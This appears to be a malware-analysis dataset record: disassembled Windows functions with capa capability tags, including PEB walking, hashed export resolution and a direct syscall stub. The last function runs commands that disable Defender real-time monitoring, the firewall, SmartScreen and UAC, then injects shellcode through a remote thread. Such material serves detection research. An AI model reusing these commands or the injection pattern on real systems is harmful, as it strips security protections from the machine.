joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7ff715064170
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp qword [rcx + 0x18], 0xf
mov ebx, r8d
mov rsi, rdx
jbe 0x7ff71506418f
mov rcx, qword [rcx]
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.kernel32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x7ff71506420b
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x7ff7150990f8]
call fcn.7ff71506f930
mov rbx, rax
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, [0x7ff71506fb30]
call qword [0x7ff715098420]
xor al, al
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], 0
mov r8d, ebx
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x7ff71506427e
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x7ff715099118]
call fcn.7ff71506f930
mov rbx, rax
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, [0x7ff71506fb30]
call qword [0x7ff715098420]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
xor al, al
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
cmp dword [rsp + 0x50], ebx
je 0x7ff7150642ba
mov rcx, qword [sym.imp.msvcp140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [0x7ff715099148]
call fcn.7ff71506f930
mov edx, ebx
mov rcx, rax
call qword [sym.imp.msvcp140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64]
mov rcx, rax
lea rdx, [0x7ff715099138]
call fcn.7ff71506f930
mov edx, dword [rsp + 0x50]
mov rcx, rax
jmp 0x7ff71506424d
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
mov al, 1
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x7ff71506e400
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x7ff71506e4c9
cmp byte [rcx + 0x71], 0
je 0x7ff71506e4c9
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x68], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x7ff71506e4bc
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x60]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x30]
call qword [sym.imp.msvcp140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x7ff71506e478
sub eax, 1
je 0x7ff71506e47c
cmp eax, 2
jne 0x7ff71506e4bc
mov rdi, qword [rsp + 0x68]
mov al, 1
mov byte [rbx + 0x71], 0
add rsp, 0x50
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x60]
lea rax, [rsp + 0x30]
sub rdi, rax
je 0x7ff71506e4aa
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x30]
mov r8, rdi
mov edx, 1
call qword [sym.imp.ucrtbase.dll_fwrite]
cmp rdi, rax
jne 0x7ff71506e4bc
cmp byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x68]
sete al
add rsp, 0x50
pop rbx
ret
mov rdi, qword [rsp + 0x68]
xor al, al
add rsp, 0x50
pop rbx
ret
mov al, 1
add rsp, 0x50
pop rbx
ret

Function at 0x7ff7150703d0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov ecx, 8
call fcn.7ff715093e28
lea rcx, [0x7ff715068400]
mov qword [rax], rcx
mov qword [rsp + 0x48], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x7ff7150799f0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x7ff715070436
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call qword [sym.imp.msvcp140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
Function at 0x7ff71507e110
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], r8
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
mov r14, r8
mov rbx, rdx
xor r12d, r12d
mov rcx, qword [r8 + 0x10]
add rcx, 2
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
mov rdi, rdx
shr rdi, 1
shl rdi, 2
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
movabs rbp, 0x7fffffffffffffff
cmp rdi, rbp
ja 0x7ff71507e363
cmp rdi, 0xf
ja 0x7ff71507e19f
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 0xf
mov r8, rdi
mov edx, 0x3d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
mov byte [rdi + rbx], r12b
jmp 0x7ff71507e237
mov rax, rdi
or rax, 0xf
cmp rax, rbp
jbe 0x7ff71507e1d4
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.7ff715093e28
test rax, rax
je 0x7ff71507e209
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x7ff71507e218
mov rbp, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rbp, rcx
lea rcx, [rbp + 1]
test rcx, rcx
jne 0x7ff71507e1f1
mov rsi, r12
jmp 0x7ff71507e218
cmp rcx, 0x1000
jb 0x7ff71507e210
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x7ff71507e369
jmp 0x7ff71507e1b9
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff715093e28
mov rsi, rax
mov qword [rbx], rsi
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rbp
mov r8, rdi
mov edx, 0x3d
mov rcx, rsi
call sub.VCRUNTIME140.dll_memset
mov byte [rsi + rdi], 0
mov r9, r12
mov r11d, r12d
mov edi, r12d
mov rdx, qword [r14 + 0x10]
cmp qword [r14 + 0x18], 0xf
jbe 0x7ff71507e253
add rdx, qword [r14]
mov r8, qword [r14]
jmp 0x7ff71507e259
add rdx, r14
mov r8, r14
mov rbp, rdx
cmp r8, rdx
je 0x7ff71507e2fc
lea r15, [0x7ff71509adf0]
nop dword [rax]
movsx eax, byte [r8]
movzx ecx, al
shl edi, 8
or edi, ecx
add r11d, 8
cmp r11d, 6
jl 0x7ff71507e2cc
movsxd rcx, r11d
mov eax, 0xaaaaaaab
mul r11d
shr edx, 2
mov r10d, edx
imul eax, edx, 0xfffffffa
add r11d, eax
nop dword [rax]
sub rcx, 6
mov rax, rdi
shr rax, cl
and eax, 0x3f
movzx edx, byte [rax + r15]
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x7ff71507e2bf
mov rax, qword [rbx]
mov byte [rax + r9], dl
inc r9
sub r10, 1
jne 0x7ff71507e2a0
inc r8
cmp r8, rbp
jne 0x7ff71507e270
test r11d, r11d
jle 0x7ff71507e2fc
mov ecx, 6
sub ecx, r11d
shl edi, cl
and edi, 0x3f
movzx ecx, byte [rdi + r15]
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x7ff71507e2f8
mov rax, qword [rbx]
mov byte [rax + r9], cl
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x7ff71507e332
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x7ff71507e32d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff71507e35c
mov rcx, r8
call fcn.7ff715093d00
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], 0xf
mov byte [r14], 0
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.7ff71505e2b0
nop
call fcn.7ff71505e210
int3
Function at 0x7ff7150867e0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0x90
mov rbx, rcx
xor r14d, r14d
lea rcx, [0x7ff715099470]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x7ff7150869e2
mov rcx, qword [rbx + 0x10]
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
sub rax, rcx
cmp rax, 0x34
jb 0x7ff715086a00
mov rax, rbx
cmp qword [rbx + 0x18], 7
jbe 0x7ff715086844
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x34
lea r9, [0x7ff7150a3a00]
lea rcx, [rbp + 0x27]
call fcn.7ff7150841e0
nop
lea rdx, [rbp + 0x27]
cmp qword [rbp + 0x3f], 7
cmova rdx, qword [rbp + 0x27]
lea rcx, [rbp - 9]
call qword [0x7ff715098900]
mov rax, qword [rbx + 0x10]
sub rdi, rax
cmp rdi, 0x22
jb 0x7ff7150869fa
cmp qword [rbx + 0x18], 7
jbe 0x7ff71508689b
mov rbx, qword [rbx]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], 0x22
lea r9, [0x7ff7150a3950]
lea rcx, [rbp + 7]
call fcn.7ff7150841e0
nop
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rdx, qword [rbp + 7]
lea r8, [rbp + 0x6f]
mov rcx, 0xffffffff80000002
call qword [sym.imp.advapi32.dll_RegOpenKeyW]
test eax, eax
je 0x7ff7150868ea
cmp eax, 2
sete bl
jmp 0x7ff715086947
mov rcx, qword [rbp + 0x6f]
call qword [sym.imp.advapi32.dll_RegCloseKey]
lea rdx, [0x7ff7150a3a70]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
lea rcx, [rbp - 9]
call rax
lea rdx, [rbp + 7]
mov rcx, 0xffffffff80000002
test eax, eax
je 0x7ff71508692d
cmp qword [rbp + 0x1f], 7
cmova rdx, qword [rbp + 7]
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
xor bl, bl
jmp 0x7ff715086947
cmp qword [rbp + 0x1f], 7
cmova rdx, qword [rbp + 7]
call qword [sym.imp.advapi32.dll_RegDeleteTreeW]
test eax, eax
je 0x7ff715086945
xor bl, bl
jmp 0x7ff715086947
mov bl, 1
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
jbe 0x7ff71508698a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff715086985
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff715086985
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff715093d00
movdqa xmm0, xmmword [0x7ff7150a3c30]
movdqu xmmword [rbp + 0x17], xmm0
mov word [rbp + 7], r14w
mov rdx, qword [rbp + 0x3f]
cmp rdx, 7
jbe 0x7ff7150869df
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7150869da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff7150869da
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff715093d00
movzx eax, bl
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.7ff71505e2b0
nop
call fcn.7ff71505e2b0
int3
Function at 0x7ff715087100
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
movsxd rax, dword [rcx + 0x3c]
xor r11d, r11d
mov rbx, rcx
mov edi, dword [rax + rcx + 0x88]
add rdi, rcx
mov esi, dword [rdi + 0x18]
test esi, esi
je 0x7ff7150871a3
mov r14d, dword [rdi + 0x24]
mov r15d, dword [rdi + 0x20]
nop dword [rax + rax]
lea rax, [r14 + r11*2]
movzx ebp, word [rax + rbx]
lea rax, [r15 + r11*4]
mov r9d, dword [rax + rbx]
add r9, rbx
je 0x7ff71508719b
lea r10, [0x7ff7150a3af0]
sub r10, r9
nop
movsx edx, byte [r10 + r9]
movsx eax, byte [r9]
lea r9, [r9 + 1]
lea ecx, [rdx - 0x41]
cmp cx, 0x19
lea r8d, [rdx + 0x20]
lea ecx, [rax - 0x41]
cmova r8w, dx
cmp cx, 0x19
ja 0x7ff71508718a
add ax, 0x20
test r8w, r8w
jne 0x7ff715087195
test ax, ax
je 0x7ff7150871be
cmp r8w, ax
je 0x7ff715087160
inc r11d
cmp r11d, esi
jb 0x7ff715087140
xor eax, eax
mov rbx, qword [rsp + 0x18]
mov rbp, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
pop r15
pop r14
ret
mov ecx, dword [rdi + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rbp*4]
add rax, rbx
jmp 0x7ff7150871a5
Function at 0x7ff715087e10
Capabilities:
Hash data with md5

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x10], rdx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0xc0
mov r14, rdx
mov rsi, rcx
xor r12d, r12d
mov byte [rsp + 0x50], r12b
mov qword [rax - 0x54], r12
mov dword [rax - 0x4c], 0x67452301
mov dword [rax - 0x48], 0xefcdab89
mov dword [rax - 0x44], 0x98badcfe
mov dword [rax - 0x40], 0x10325476
cmp qword [rdx + 0x18], 0xf
jbe 0x7ff715087e66
mov rdx, qword [rdx]
mov r8d, dword [r14 + 0x10]
lea rcx, [rsp + 0x50]
call fcn.7ff715087ae0
lea rcx, [rsp + 0x50]
call fcn.7ff715087bb0
cmp byte [rsp + 0x50], 0
jne 0x7ff715087e9c
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
jmp 0x7ff715087f07
lea rbx, [rsp + 0xac]
lea rdi, [rsp + 0x28]
mov ebp, 0x10
nop
movzx r8d, byte [rbx]
lea rdx, [0x7ff7150a3c1c]
mov rcx, rdi
call fcn.7ff7150871d0
add rdi, 2
lea rbx, [rbx + 1]
sub rbp, 1
jne 0x7ff715087eb0
mov byte [rsp + 0x48], bpl
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], r12
lea rax, [rsp + 0x28]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x7ff715087ef0
lea rdx, [rsp + 0x28]
mov rcx, rsi
call fcn.7ff715070aa0
lea rbx, [r14 + 0x18]
mov rdx, qword [r14 + 0x18]
cmp rdx, 0xf
jbe 0x7ff715087f41
inc rdx
mov rcx, qword [r14]
cmp rdx, 0x1000
jb 0x7ff715087f3c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff715087f6f
mov rcx, r8
call fcn.7ff715093d00
mov qword [r14 + 0x10], r12
mov qword [rbx], 0xf
mov byte [r14], 0
mov rax, rsi
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x7ff715088c30
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x18
cmp dword [0x7ff7150c6580], 0
jne 0x7ff715088e04
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r9, qword [rcx + 0x10]
mov rax, qword [r9 + 0x30]
test rax, rax
je 0x7ff715088e0e
mov r8, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r8 + 0x88]
test ecx, ecx
je 0x7ff715088c9e
lea rdx, [r8 + rcx]
mov ecx, dword [r8 + rcx + 0xc]
mov eax, dword [rcx + r8]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x7ff715088c9e
mov eax, dword [rcx + r8 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x7ff715088caa
mov r9, qword [r9]
mov rax, qword [r9 + 0x30]
test rax, rax
jne 0x7ff715088c61
test rdx, rdx
je 0x7ff715088e0e
mov qword [rsp + 0x20], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
add rbp, r8
mov esi, dword [rdx + 0x1c]
mov qword [rsp + 0x10], rdi
add rsi, r8
mov edi, dword [rdx + 0x20]
mov qword [rsp + 8], r14
add rdi, r8
mov qword [rsp], r15
lea r14, [0x7ff7150c6580]
xor r10d, r10d
mov r15d, 0x775a
nop word [rax + rax]
lea eax, [rbx - 1]
mov edx, dword [rdi + rax*4]
add rdx, r8
cmp word [rdx], r15w
jne 0x7ff715088d65
xor r11d, r11d
mov r9d, 0x864fb136
mov rax, rdx
nop dword [rax + rax]
movzx eax, word [rax]
mov ecx, r9d
ror ecx, 8
inc r11d
add ecx, eax
mov eax, r11d
add rax, rdx
xor r9d, ecx
cmp byte [rax], 0
jne 0x7ff715088d20
lea rdx, [r10*8]
inc r10d
mov dword [rdx + r14 + 4], r9d
lea eax, [rbx - 1]
movzx eax, word [rbp + rax*2]
mov eax, dword [rsi + rax*4]
mov dword [rdx + r14 + 8], eax
cmp r10d, 0x1f4
je 0x7ff715088d6a
add ebx, 0xffffffff
jne 0x7ff715088d00
mov r15, qword [rsp]
lea eax, [r10 - 1]
mov rsi, qword [rsp + 0x30]
xor r9d, r9d
mov rbp, qword [rsp + 0x28]
mov dword [0x7ff7150c6580], r10d
test eax, eax
je 0x7ff715088df5
nop word [rax + rax]
mov ecx, r10d
xor eax, eax
sub ecx, r9d
cmp ecx, 1
je 0x7ff715088de9
nop dword [rax]
mov edx, eax
lea r11d, [rax + 1]
mov ebx, dword [r14 + r11*8 + 8]
mov edi, dword [r14 + rdx*8 + 8]
cmp edi, ebx
jbe 0x7ff715088dd9
mov ecx, dword [r14 + rdx*8 + 4]
mov eax, dword [r14 + r11*8 + 4]
mov dword [r14 + rdx*8 + 4], eax
mov dword [r14 + r11*8 + 4], ecx
mov dword [r14 + rdx*8 + 8], ebx
mov dword [r14 + r11*8 + 8], edi
mov r10d, dword [0x7ff7150c6580]
mov ecx, r10d
mov eax, r11d
sub ecx, r9d
dec ecx
cmp r11d, ecx
jb 0x7ff715088da0
inc r9d
lea eax, [r10 - 1]
cmp r9d, eax
jb 0x7ff715088d90
mov rdi, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x20]
mov r14, qword [rsp + 8]
mov eax, 1
add rsp, 0x18
ret
xor eax, eax
add rsp, 0x18
ret
Function at 0x7ff71508c290
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xe04adcdf
call fcn.7ff715088e20
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x7ff7150936ac
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, [0x7ff715098b40]
mov r9d, 2
call qword [sym.imp.kernel32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x7ff7150936e6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x7ff7150936eb
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.kernel32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x7ff715093734
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x7ff715098a40]
cmp byte [rcx + rax], 0
je 0x7ff715093734
dec r8
sub rdx, 1
jne 0x7ff71509371a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x7ff715094a3c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x7ff715094a86
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x7ff715094a86
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x7ff715094a86
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x7ff715094a86
cmp dword [rcx + 0x84], 0xe
jbe 0x7ff715094a86
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x7ff715094a88
xor al, al
add rsp, 0x28
ret
Function at 0x1400110be
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
jmp 0x140012040
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400270fa]
call fcn.140011492
nop
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x270
jne 0x14001207e
mov rcx, qword [rbp + 0x100]
call fcn.1400110d7
nop
jmp 0x14001209a
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x4e0
jb 0x14001209a
mov rcx, qword [rbp + 0x100]
call fcn.14001124e
nop
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
mov rcx, qword [rbp + 0x100]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
inc eax
mov rcx, qword [rbp + 0x100]
mov dword [rcx], eax
mov eax, dword [rbp + 4]
shr eax, 0xb
mov rcx, qword [rbp + 0x100]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
shr eax, 0x12
mov ecx, dword [rbp + 4]
xor ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14001115e
Capabilities:
Allocate or change rwx memory
Create thread
Disable system features via registry on windows
Execute command
Inject thread
Set registry value
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400122d0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x140027121]
call fcn.140011492
nop
lea rcx, str.powershell.exe_Set_MpPreference__DisableRealtimeMonitoring__true
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.netsh_advfirewall_set_allprofiles_state_off
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.reg_add__HKLMSOFTWAREPoliciesMicrosoftWindowsSystem___v__EnableSmartScreen___t_REG_DWORD__d_0__f
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, str.reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
call qword [sym.imp.ucrtbased.dll_system]
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x1400123fe
mov byte [rbp + 0x24], 0x90
mov byte [rbp + 0x25], 0x90
mov byte [rbp + 0x26], 0x90
mov byte [rbp + 0x27], 0x90
mov byte [rbp + 0x28], 0xc3
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 5
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x20], 0
mov r9d, 5
lea r8, [rbp + 0x24]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x48]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x40]
lea rdx, [0x14001d0c0]
call fcn.1400113f2
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.140011244
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret